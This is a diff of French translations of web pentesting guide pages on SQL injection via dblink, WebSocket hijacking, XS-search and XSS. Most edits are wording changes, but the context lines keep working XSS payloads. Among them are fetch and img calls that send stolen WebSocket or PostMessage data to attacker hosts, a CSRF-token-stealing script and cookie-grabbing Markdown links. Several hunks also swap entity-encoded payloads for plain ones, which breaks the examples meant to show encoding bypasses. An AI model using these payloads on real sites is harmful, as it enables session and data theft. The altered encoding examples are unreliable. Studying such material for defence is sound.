 ```sql
 SELECT * FROM dblink_connect('host=216.58.212.238
 port=443

src/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md

@@ -24,7 +24,7 @@ lanname | lanacl
 ---------+-----------------
 plpgsql | {admin=U/admin}
 ```
-Notez que pour que le script suivant fonctionne, **la fonction `dblink` doit exister**. Si ce n'est pas le cas, vous pouvez essayer de la créer avec 
+Notez que pour que le script suivant fonctionne, **la fonction `dblink` doit exister**. Si ce n'est pas le cas, vous pouvez essayer de la créer avec
 ```sql
 CREATE EXTENSION dblink;
 ```

src/pentesting-web/websocket-attacks.md

@@ -4,7 +4,7 @@
 
 ## Qu'est-ce que les WebSockets
 
-Les connexions WebSocket sont établies par le biais d'une **négociation HTTP** initiale et sont conçues pour être **durables**, permettant une messagerie bidirectionnelle à tout moment sans avoir besoin d'un système transactionnel. Cela rend les WebSockets particulièrement avantageux pour les applications nécessitant une **latence faible ou une communication initiée par le serveur**, comme les flux de données financières en direct.
+Les connexions WebSocket sont établies par le biais d'un **handshake HTTP** initial et sont conçues pour être **durables**, permettant une messagerie bidirectionnelle à tout moment sans avoir besoin d'un système transactionnel. Cela rend les WebSockets particulièrement avantageux pour les applications nécessitant une **latence faible ou une communication initiée par le serveur**, comme les flux de données financières en direct.
 
 ### Établissement des connexions WebSocket
 
@@ -56,7 +56,7 @@ websocat -s 0.0.0.0:8000 #Listen in port 8000
 ```
 ### MitM websocket connections
 
-Si vous constatez que des clients sont connectés à un **HTTP websocket** depuis votre réseau local actuel, vous pourriez essayer une [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) pour effectuer une attaque MitM entre le client et le serveur.\
+Si vous constatez que des clients sont connectés à un **HTTP websocket** depuis votre réseau local actuel, vous pourriez essayer une [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) pour effectuer une attaque MitM entre le client et le serveur.\
 Une fois que le client essaie de se connecter, vous pouvez alors utiliser :
 ```bash
 websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
@@ -67,26 +67,26 @@ Vous pouvez utiliser l'**outil** [**https://github.com/PalindromeLabs/STEWS**](h
 
 ### Websocket Debug tools
 
-- **Burp Suite** prend en charge la communication MitM des websockets de manière très similaire à la façon dont elle le fait pour la communication HTTP classique.
+- **Burp Suite** prend en charge la communication MitM des websockets de manière très similaire à la façon dont elle le fait pour la communication HTTP régulière.
 - L'**extension Burp Suite** [**socketsleuth**](https://github.com/snyk/socketsleuth) **vous permettra de mieux gérer les communications Websocket dans Burp en obtenant l'** **historique**, en définissant des **règles d'interception**, en utilisant des règles de **correspondance et de remplacement**, en utilisant **Intruder** et **AutoRepeater.**
 - [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abréviation de "**WebSocket/Socket.io Proxy**", cet outil, écrit en Node.js, fournit une interface utilisateur pour **capturer, intercepter, envoyer des messages personnalisés** et visualiser toutes les communications WebSocket et Socket.IO entre le client et le serveur.
-- [**wsrepl**](https://github.com/doyensec/wsrepl) est un **REPL websocket interactif** conçu spécifiquement pour les tests de pénétration. Il fournit une interface pour observer les **messages websocket entrants et envoyer de nouveaux**, avec un cadre facile à utiliser pour **automatiser** cette communication. 
+- [**wsrepl**](https://github.com/doyensec/wsrepl) est un **REPL websocket interactif** conçu spécifiquement pour les tests de pénétration. Il fournit une interface pour observer les **messages websocket entrants et envoyer de nouveaux**, avec un cadre facile à utiliser pour **automatiser** cette communication.
 - [**https://websocketking.com/**](https://websocketking.com/) c'est un **web pour communiquer** avec d'autres webs en utilisant des **websockets**.
 - [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) parmi d'autres types de communications/protocoles, il fournit un **web pour communiquer** avec d'autres webs en utilisant des **websockets.**
 
 ## Websocket Lab
 
-Dans [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course), vous avez un code pour lancer un web utilisant des websockets et dans [**ce post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) vous pouvez trouver une explication.
+Dans [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) vous avez un code pour lancer un web utilisant des websockets et dans [**ce post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) vous pouvez trouver une explication.
 
 ## Cross-site WebSocket hijacking (CSWSH)
 
-**Le détournement de WebSocket intersite**, également connu sous le nom de **détournement de WebSocket cross-origin**, est identifié comme un cas spécifique de **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** affectant les échanges WebSocket. Cette vulnérabilité survient lorsque les échanges WebSocket s'authentifient uniquement via des **cookies HTTP** sans **tokens CSRF** ou mesures de sécurité similaires.
+**Le détournement de WebSocket entre sites**, également connu sous le nom de **détournement de WebSocket cross-origin**, est identifié comme un cas spécifique de **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** affectant les échanges WebSocket. Cette vulnérabilité survient lorsque les échanges WebSocket s'authentifient uniquement via des **cookies HTTP** sans **tokens CSRF** ou mesures de sécurité similaires.
 
-Les attaquants peuvent en tirer parti en hébergeant une **page web malveillante** qui initie une connexion WebSocket intersite à une application vulnérable. Par conséquent, cette connexion est considérée comme faisant partie de la session de la victime avec l'application, exploitant le manque de protection CSRF dans le mécanisme de gestion des sessions.
+Les attaquants peuvent en profiter en hébergeant une **page web malveillante** qui initie une connexion WebSocket entre sites à une application vulnérable. Par conséquent, cette connexion est considérée comme faisant partie de la session de la victime avec l'application, exploitant le manque de protection CSRF dans le mécanisme de gestion des sessions.
 
 ### Simple Attack
 
-Notez que lors de l'**établissement** d'une connexion **websocket**, le **cookie** est **envoyé** au serveur. Le **serveur** peut l'utiliser pour **relier** chaque **utilisateur spécifique** à sa **session websocket basée sur le cookie envoyé**.
+Notez que lors de l'**établissement** d'une connexion **websocket**, le **cookie** est **envoyé** au serveur. Le **serveur** pourrait l'utiliser pour **relier** chaque **utilisateur spécifique** à sa **session websocket basée sur le cookie envoyé**.
 
 Ensuite, si par **exemple** le **serveur websocket** **renvoie l'historique de la conversation** d'un utilisateur si un msg avec "**READY"** est envoyé, alors un **simple XSS** établissant la connexion (le **cookie** sera **envoyé** **automatiquement** pour autoriser l'utilisateur victime) **en envoyant** "**READY**" pourra **récupérer** l'historique de la **conversation**.
 ```markup
@@ -105,7 +105,7 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
 ```
 ### Cross Origin + Cookie avec un sous-domaine différent
 
-Dans cet article de blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/), l'attaquant a réussi à **exécuter du Javascript arbitraire dans un sous-domaine** du domaine où la communication WebSocket avait lieu. Comme c'était un **sous-domaine**, le **cookie** était **envoyé**, et parce que le **Websocket ne vérifiait pas correctement l'Origine**, il était possible de communiquer avec lui et **de voler des tokens**.
+Dans cet article de blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/), l'attaquant a réussi à **exécuter du Javascript arbitraire dans un sous-domaine** du domaine où la communication WebSocket avait lieu. Parce que c'était un **sous-domaine**, le **cookie** était **envoyé**, et parce que le **Websocket ne vérifiait pas correctement l'Origine**, il était possible de communiquer avec lui et **de voler des tokens**.
 
 ### Vol de données de l'utilisateur
 

src/pentesting-web/xs-search/connection-pool-by-destination-example.md

@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Dans [**cet exploit**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), [**@terjanq**](https://twitter.com/terjanq) propose encore une autre solution pour le défi mentionné dans la page suivante :
+Dans [**cet exploit**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), [**@terjanq**](https://twitter.com/terjanq) propose une autre solution pour le défi mentionné dans la page suivante :
 
 {{#ref}}
 connection-pool-by-destination-example.md
@@ -12,7 +12,7 @@ Voyons comment cet exploit fonctionne :
 
 - L'attaquant va injecter une note avec autant de **`<img`** tags **chargeant** **`/js/purify.js`** que possible (plus de 6 pour bloquer l'origine).
 - Ensuite, l'attaquant va **supprimer** la **note** avec l'index 1.
-- Ensuite, l'attaquant va \[faire en sorte que le **bot accède à la page** avec la note restante] et va envoyer une **demande** à **`victim.com/js/purify.js`** qu'il va **chronométrer**.&#x20;
+- Ensuite, l'attaquant va \[faire en sorte que le **bot accède à la page** avec la note restante] et va envoyer une **demande** à **`victim.com/js/purify.js`** qu'il va **chronométrer**.
 - Si le temps est **plus grand**, l'**injection** était dans la **note** laissée, si le temps est **plus bas**, le **flag** était là.
 
 > [!NOTE]

src/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md

@@ -15,8 +15,8 @@ L'idée derrière cet exploit est :
 - Les publications sont chargées par ordre alphabétique
 - Un **attaquant** peut **injecter** une **publication** commençant par **"A"**, puis un **tag HTML** (comme un grand **`<canvas`**) remplira la plupart de l'**écran** et quelques **tags `<img lazy`** finaux pour charger des éléments.
 - Si au lieu d'un "A", l'**attaquant injecte la même publication mais commençant par un "z".** La **publication** avec le **drapeau** apparaîtra **en premier**, puis la **publication injectée** apparaîtra avec le "z" initial et le **grand** **canvas**. Comme la publication avec le drapeau est apparue en premier, le premier canvas occupera tout l'écran et les **tags `<img lazy`** finaux injectés **ne seront pas vus** à l'écran, donc ils **ne seront pas chargés**.
-- Ensuite, **pendant** que le bot **accède** à la page, l'**attaquant** enverra des **requêtes fetch**.&#x20;
-- Si les **images** injectées dans la publication sont en cours de **chargement**, ces **requêtes fetch** prendront **plus de temps**, donc l'attaquant sait que la **publication est avant le drapeau** (alphabétiquement).
+- Ensuite, **pendant** que le bot **accède** à la page, l'**attaquant** enverra des **requêtes fetch**.
+- Si les **images** injectées dans la publication sont en train d'être **chargées**, ces **requêtes fetch** prendront **plus de temps**, donc l'attaquant sait que la **publication est avant le drapeau** (alphabétiquement).
 - Si les **requêtes fetch** sont **rapides**, cela signifie que la **publication** est **alphabétiquement** **après** le drapeau.
 
 Vérifions le code :

src/pentesting-web/xss-cross-site-scripting/README.md

@@ -4,7 +4,7 @@
 
 1. Vérifiez si **n'importe quelle valeur que vous contrôlez** (_paramètres_, _chemin_, _en-têtes_?, _cookies_?) est **réfléchie** dans le HTML ou **utilisée** par le code **JS**.
 2. **Trouvez le contexte** où elle est réfléchie/utilisée.
-3. Si **réfléchi**
+3. Si **réfléchie**
 1. Vérifiez **quels symboles vous pouvez utiliser** et en fonction de cela, préparez le payload :
 1. En **HTML brut** :
 1. Pouvez-vous créer de nouvelles balises HTML ?
@@ -22,9 +22,9 @@
 2. Pouvez-vous échapper à la chaîne et exécuter un code JS différent ?
 3. Vos entrées sont-elles dans des littéraux de template \`\` ?
 4. Pouvez-vous contourner les protections ?
-4. Fonction JavaScript **exécutée**
+4. Fonction Javascript **exécutée**
 1. Vous pouvez indiquer le nom de la fonction à exécuter. par exemple : `?callback=alert(1)`
-4. Si **utilisé** :
+4. Si **utilisée** :
 1. Vous pourriez exploiter un **DOM XSS**, faites attention à la façon dont votre entrée est contrôlée et si votre **entrée contrôlée est utilisée par un sink.**
 
 Lorsque vous travaillez sur un XSS complexe, il peut être intéressant de connaître :
@@ -37,9 +37,9 @@ debugging-client-side-js.md
 
 Pour exploiter avec succès un XSS, la première chose que vous devez trouver est une **valeur contrôlée par vous qui est réfléchie** dans la page web.
 
-- **Réfléchi de manière intermédiaire** : Si vous constatez que la valeur d'un paramètre ou même le chemin est réfléchi dans la page web, vous pourriez exploiter un **XSS Réfléchi**.
-- **Stocké et réfléchi** : Si vous constatez qu'une valeur contrôlée par vous est enregistrée sur le serveur et est réfléchie chaque fois que vous accédez à une page, vous pourriez exploiter un **XSS Stocké**.
-- **Accédé via JS** : Si vous constatez qu'une valeur contrôlée par vous est accessible en utilisant JS, vous pourriez exploiter un **DOM XSS**.
+- **Réfléchie de manière intermédiaire** : Si vous constatez que la valeur d'un paramètre ou même le chemin est réfléchi dans la page web, vous pourriez exploiter un **XSS Réfléchi**.
+- **Stockée et réfléchie** : Si vous constatez qu'une valeur contrôlée par vous est enregistrée sur le serveur et est réfléchie chaque fois que vous accédez à une page, vous pourriez exploiter un **XSS Stocké**.
+- **Accédée via JS** : Si vous constatez qu'une valeur contrôlée par vous est accédée en utilisant JS, vous pourriez exploiter un **DOM XSS**.
 
 ## Contextes
 
@@ -69,12 +69,12 @@ Exemple étrange d'Angular exécutant XSS si vous contrôlez un nom de classe :
 
 Dans ce cas, votre entrée est reflétée entre les balises **`<script> [...] </script>`** d'une page HTML, à l'intérieur d'un fichier `.js` ou à l'intérieur d'un attribut utilisant le protocole **`javascript:`** :
 
-- Si reflété entre les balises **`<script> [...] </script>`**, même si votre entrée est à l'intérieur de n'importe quel type de guillemets, vous pouvez essayer d'injecter `</script>` et de vous échapper de ce contexte. Cela fonctionne parce que le **navigateur va d'abord analyser les balises HTML** puis le contenu, donc il ne remarquera pas que votre balise `</script>` injectée est à l'intérieur du code HTML.
-- Si reflété **à l'intérieur d'une chaîne JS** et que le dernier truc ne fonctionne pas, vous devrez **sortir** de la chaîne, **exécuter** votre code et **reconstruire** le code JS (s'il y a une erreur, il ne sera pas exécuté) :
+- Si elle est reflétée entre les balises **`<script> [...] </script>`**, même si votre entrée est à l'intérieur de n'importe quel type de guillemets, vous pouvez essayer d'injecter `</script>` et de vous échapper de ce contexte. Cela fonctionne parce que le **navigateur analysera d'abord les balises HTML** puis le contenu, donc il ne remarquera pas que votre balise `</script>` injectée est à l'intérieur du code HTML.
+- Si elle est reflétée **à l'intérieur d'une chaîne JS** et que le dernier truc ne fonctionne pas, vous devrez **sortir** de la chaîne, **exécuter** votre code et **reconstruire** le code JS (s'il y a une erreur, il ne sera pas exécuté) :
 - `'-alert(1)-'`
 - `';-alert(1)//`
 - `\';alert(1)//`
-- Si reflété à l'intérieur de littéraux de modèle, vous pouvez **intégrer des expressions JS** en utilisant la syntaxe `${ ... }` : `` var greetings = `Hello, ${alert(1)}` ``
+- Si elle est reflétée à l'intérieur de littéraux de modèle, vous pouvez **intégrer des expressions JS** en utilisant la syntaxe `${ ... }` : `` var greetings = `Hello, ${alert(1)}` ``
 - **L'encodage Unicode** fonctionne pour écrire **du code javascript valide** :
 ```javascript
 alert(1)
@@ -84,7 +84,7 @@ alert(1)
 #### Javascript Hoisting
 
 Javascript Hoisting fait référence à la possibilité de **déclarer des fonctions, des variables ou des classes après leur utilisation afin de pouvoir abuser des scénarios où un XSS utilise des variables ou des fonctions non déclarées.**\
-**Consultez la page suivante pour plus d'informations :**
+**Consultez la page suivante pour plus d'infos :**
 
 {{#ref}}
 js-hoisting.md
@@ -92,7 +92,7 @@ js-hoisting.md
 
 ### Javascript Function
 
-Plusieurs pages web ont des points de terminaison qui **acceptent comme paramètre le nom de la fonction à exécuter**. Un exemple courant à voir dans la nature est quelque chose comme : `?callback=callbackFunc`.
+Plusieurs pages web ont des points de terminaison qui **acceptent comme paramètre le nom de la fonction à exécuter**. Un exemple courant que l'on peut voir dans la nature est quelque chose comme : `?callback=callbackFunc`.
 
 Une bonne façon de découvrir si quelque chose donné directement par l'utilisateur essaie d'être exécuté est **de modifier la valeur du paramètre** (par exemple à 'Vulnerable') et de chercher dans la console des erreurs comme :
 
@@ -132,7 +132,7 @@ dom-xss.md
 
 ### **Universal XSS**
 
-Ces types de XSS peuvent être trouvés **partout**. Ils ne dépendent pas seulement de l'exploitation côté client d'une application web mais de **tout** **contexte**. Ces types d'**exécution JavaScript arbitraire** peuvent même être utilisés pour obtenir **RCE**, **lire** des **fichiers** **arbitraires** sur les clients et les serveurs, et plus encore.\
+Ces types de XSS peuvent être trouvés **partout**. Ils ne dépendent pas seulement de l'exploitation côté client d'une application web mais de **tout** **contexte**. Ces types d'**exécution JavaScript arbitraire** peuvent même être abusés pour obtenir **RCE**, **lire** des **fichiers** **arbitraires** sur les clients et les serveurs, et plus encore.\
 Quelques **exemples** :
 
 {{#ref}}
@@ -151,7 +151,7 @@ server-side-xss-dynamic-pdf.md
 
 Lorsque votre entrée est reflétée **dans la page HTML** ou que vous pouvez échapper et injecter du code HTML dans ce contexte, la **première** chose que vous devez faire est de vérifier si vous pouvez abuser de `<` pour créer de nouvelles balises : Essayez simplement de **refléter** ce **caractère** et vérifiez s'il est **HTML encodé** ou **supprimé** ou s'il est **reflété sans modifications**. **Ce n'est que dans ce dernier cas que vous pourrez exploiter ce cas**.\
 Pour ces cas, gardez également à l'esprit [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
-_**Remarque : Un commentaire HTML peut être fermé en utilisant\*\*\*\*\*\***&#x20;\***\*`-->`\*\***&#x20;\***\*ou \*\*\*\*\*\***`--!>`\*\*_
+_**Remarque : Un commentaire HTML peut être fermé en utilisant\*\*\*\*\*\***\***\*`-->`\*\***\***\*ou \*\*\*\*\*\***`--!>`\*\*_
 
 Dans ce cas et si aucune liste noire/liste blanche n'est utilisée, vous pourriez utiliser des charges utiles comme :
 ```html
@@ -303,7 +303,7 @@ Notez que **tout type d'encodage HTML est valide** :
 ```
 ### Protocoles spéciaux dans l'attribut
 
-Là, vous pouvez utiliser les protocoles **`javascript:`** ou **`data:`** à certains endroits pour **exécuter du code JS arbitraire**. Certains nécessiteront une interaction de l'utilisateur, d'autres non.
+Vous pouvez utiliser les protocoles **`javascript:`** ou **`data:`** à certains endroits pour **exécuter du code JS arbitraire**. Certains nécessiteront une interaction de l'utilisateur, d'autres non.
 ```javascript
 javascript:alert(1)
 JavaSCript:alert(1)
@@ -311,7 +311,7 @@ javascript:%61%6c%65%72%74%28%31%29 //URL encode
 javascript&colon;alert(1)
 javascript&#x003A;alert(1)
 javascript&#58;alert(1)
-&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
+javascript:alert(1)
 java        //Note the new line
 script:alert(1)
 
@@ -351,7 +351,7 @@ _**Dans ce cas, l'encodage HTML et l'astuce d'encodage Unicode de la section pr
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
-De plus, il existe une autre **astuce sympa** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée en URL avant d'être exécutée.** Donc, si vous devez **vous échapper** de la **chaîne** en utilisant une **apostrophe** et que vous voyez qu'elle **est encodée en URL**, rappelez-vous que **peu importe,** elle sera **interprétée** comme une **apostrophe** pendant le **temps d'exécution**.
+De plus, il existe une autre **astuce sympa** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée en URL avant d'être exécutée.** Donc, si vous devez **vous échapper** de la **chaîne** en utilisant une **apostrophe** et que vous voyez qu'elle **est encodée en URL**, rappelez-vous que **cela n'a pas d'importance,** elle sera **interprétée** comme une **apostrophe** pendant le **temps d'exécution**.
 ```javascript
 &apos;-alert(1)-&apos;
 %27-alert(1)-%27
@@ -422,13 +422,13 @@ onbeforetoggle="alert(2)" />
 <button popovertarget="newsletter">Subscribe to newsletter</button>
 <div popover id="newsletter">Newsletter popup</div>
 ```
-De [**ici**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter une **charge utile XSS à l'intérieur d'un attribut caché**, à condition de pouvoir **persuader** la **victime** d'appuyer sur la **combinaison de touches**. Sur Firefox Windows/Linux, la combinaison de touches est **ALT+SHIFT+X** et sur OS X, c'est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut de clé d'accès. Voici le vecteur :
+Depuis [**ici**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter une **charge utile XSS à l'intérieur d'un attribut caché**, à condition de pouvoir **persuader** la **victime** d'appuyer sur la **combinaison de touches**. Sur Firefox Windows/Linux, la combinaison de touches est **ALT+SHIFT+X** et sur OS X, c'est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut de clé d'accès. Voici le vecteur :
 ```markup
 <input type="hidden" accesskey="X" onclick="alert(1)">
 ```
-**La charge utile XSS sera quelque chose comme ceci : `" accesskey="x" onclick="alert(1)" x="`**
+**Le payload XSS sera quelque chose comme ceci : `" accesskey="x" onclick="alert(1)" x="`**
 
-### Contournements de la liste noire
+### Contournements de liste noire
 
 Plusieurs astuces utilisant différents encodages ont déjà été exposées dans cette section. Retournez **apprendre où vous pouvez utiliser :**
 
@@ -440,7 +440,7 @@ Plusieurs astuces utilisant différents encodages ont déjà été exposées dan
 
 **Contournements pour les balises et attributs HTML**
 
-Lisez les [Contournements de la liste noire de la section précédente](#blacklist-bypasses).
+Lisez les [Contournements de liste noire de la section précédente](#blacklist-bypasses).
 
 **Contournements pour le code JavaScript**
 
@@ -488,7 +488,7 @@ Si `<>` sont assainis, vous pouvez toujours **échapper la chaîne** où votre e
 ```
 ### Template literals \`\`
 
-Pour construire des **chaînes** en plus des guillemets simples et doubles, JS accepte également les **backticks** **` `` `**. Cela s'appelle des littéraux de modèle car ils permettent d'**imbriquer des expressions JS** en utilisant la syntaxe `${ ... }`.\
+Pour construire des **chaînes** en plus des guillemets simples et doubles, JS accepte également les **backticks** **` `` `**. Cela est connu sous le nom de littéraux de modèle car ils permettent d'**imbriquer des expressions JS** en utilisant la syntaxe `${ ... }`.\
 Par conséquent, si vous constatez que votre entrée est **réfléchie** à l'intérieur d'une chaîne JS utilisant des backticks, vous pouvez abuser de la syntaxe `${ ... }` pour exécuter du **code JS arbitraire** :
 
 Cela peut être **abusé** en utilisant :
@@ -507,8 +507,8 @@ loop``````````````
 ```markup
 <script>\u0061lert(1)</script>
 <svg><script>alert&lpar;'1'&rpar;
-<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
-<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">
+<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
+<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
 ```
 ### Exécution JS encodée en Unicode
 ```javascript
@@ -554,7 +554,7 @@ eval(8680439..toString(30))(983801..toString(36))
 <TAB>
 /**/
 ```
-**Commentaires JavaScript (provenant de** [**Commentaires JavaScript**](#javascript-comments) **astuce)**
+**Commentaires JavaScript (provenant de** [**JavaScript Comments**](#javascript-comments) **astuce)**
 ```javascript
 //This is a 1 line comment
 /* This is a multiline comment*/
@@ -782,7 +782,7 @@ Vous pourriez vérifier si les **valeurs réfléchies** sont **normalisées en u
 ```
 ### Ruby-On-Rails bypass
 
-En raison de **l'attribution de masse RoR**, des guillemets sont insérés dans le HTML et ensuite la restriction de guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
+En raison de **l'assignation de masse RoR**, des guillemets sont insérés dans le HTML et ensuite la restriction de guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
 Exemple de formulaire ([de ce rapport](https://hackerone.com/reports/709336)), si vous envoyez la charge utile :
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@@ -900,7 +900,7 @@ import { partition } from "lodash"
 ```
 Ce comportement a été utilisé dans [**ce rapport**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque à eval afin d'abuser de son déclenchement de XSS.
 
-- [**règlesdespeculation**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Cela fonctionne comme suit :
+- [**règles de spéculation**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Cela fonctionne comme suit :
 ```html
 <script type="speculationrules">
 {
@@ -925,7 +925,7 @@ Ce comportement a été utilisé dans [**ce rapport**](https://github.com/zwade/
 - application/xml
 - text/xml
 - image/svg+xml
-- text/plain (?? pas dans la liste mais je pense avoir vu cela dans un CTF)
+- text/plain (?? pas dans la liste mais je pense l'avoir vu dans un CTF)
 - application/rss+xml (désactivé)
 - application/atom+xml (désactivé)
 
@@ -953,7 +953,7 @@ Par exemple, dans [**ce rapport**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA
 chrome-cache-to-xss.md
 {{#endref}}
 
-### Évasion des Prisons XS
+### Évasion des XS Jails
 
 Si vous n'avez qu'un ensemble limité de caractères à utiliser, vérifiez ces autres solutions valides pour les problèmes XSJail :
 ```javascript
@@ -986,7 +986,7 @@ constructor(source)()
 // For more uses of with go to challenge misc/CaaSio PSE in
 // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
 ```
-Si **tout est indéfini** avant d'exécuter du code non fiable (comme dans [**ce rapport**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), il est possible de générer des objets utiles "à partir de rien" pour abuser de l'exécution de code non fiable arbitraire :
+Si **tout est indéfini** avant d'exécuter du code non fiable (comme dans [**cet article**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), il est possible de générer des objets utiles "à partir de rien" pour abuser de l'exécution de code non fiable arbitraire :
 
 - En utilisant import()
 ```javascript
@@ -1010,7 +1010,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
 )
 })()
 ```
-De manière similaire à l'exemple précédent, il est possible d'**utiliser des gestionnaires d'erreurs** pour accéder au **wrapper** du module et obtenir la fonction **`require`** :
+De la même manière que dans l'exemple précédent, il est possible d'**utiliser des gestionnaires d'erreurs** pour accéder au **wrapper** du module et obtenir la fonction **`require`** :
 ```javascript
 try {
 null.f()
@@ -1390,7 +1390,7 @@ Juste en cherchant sur github, j'ai trouvé quelques-uns différents :
 - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
 - Vous pouvez également utiliser metasploit `http_javascript_keylogger`
 
-### Stealing CSRF tokens
+### Vol de jetons CSRF
 ```javascript
 <script>
 var req = new XMLHttpRequest();
@@ -1405,7 +1405,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
 };
 </script>
 ```
-### Vol de messages PostMessage
+### Voler des messages PostMessage
 ```markup
 <img src="https://attacker.com/?" id=message>
 <script>
@@ -1419,7 +1419,7 @@ document.getElementById("message").src += "&"+e.data;
 abusing-service-workers.md
 {{#endref}}
 
-### Accès au Shadow DOM
+### Accéder au Shadow DOM
 
 {{#ref}}
 shadow-dom.md
@@ -1475,7 +1475,7 @@ Vous pouvez également utiliser : [https://xsshunter.com/](https://xsshunter.com
 ```
 ### Regex - Accéder au contenu caché
 
-D'après [**cet article**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible d'apprendre que même si certaines valeurs disparaissent de JS, il est toujours possible de les trouver dans les attributs JS dans différents objets. Par exemple, une entrée d'un REGEX est toujours possible à trouver après que la valeur de l'entrée du regex a été supprimée :
+D'après [**cet article**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible d'apprendre que même si certaines valeurs disparaissent du JS, il est toujours possible de les trouver dans les attributs JS dans différents objets. Par exemple, une entrée d'un REGEX est toujours possible à trouver après que la valeur de l'entrée du regex a été supprimée :
 ```javascript
 // Do regex with flag
 flag = "CTF{FLAG}"

src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md

@@ -42,7 +42,7 @@ t:prompt(document.cookie))
 ```
 ### HTML Sanitiser Markdown Bypass
 
-Le code suivant **sanitise l'entrée HTML** puis **la passe au parseur markdown**, ensuite, le XSS peut être déclenché en abusant des mauvaises interprétations entre Markdown et DOMPurify 
+Le code suivant **sanitise l'entrée HTML** puis **la passe au parseur markdown**, ensuite, le XSS peut être déclenché en abusant des mauvaises interprétations entre Markdown et DOMPurify.
 ```html
 <!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
 <script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
@@ -92,10 +92,10 @@ Fuzzing examples from
 [a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
 ![a](javascript:prompt(document.cookie))\
 <javascript:prompt(document.cookie)>
-<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
+<javascript:alert('XSS')>
 ![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
 [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
-[a](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)
+[a](javascript:alert('XSS'))
 ![a'"`onerror=prompt(document.cookie)](x)\
 [citelol]: (javascript:prompt(document.cookie))
 [notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
@@ -132,7 +132,7 @@ _http://danlec_@.1 style=background-image:url(data:image/png;base64,iVBORw0KGgoA
 [XSS](javascript:prompt(document.cookie))
 [XSS](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
 [XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
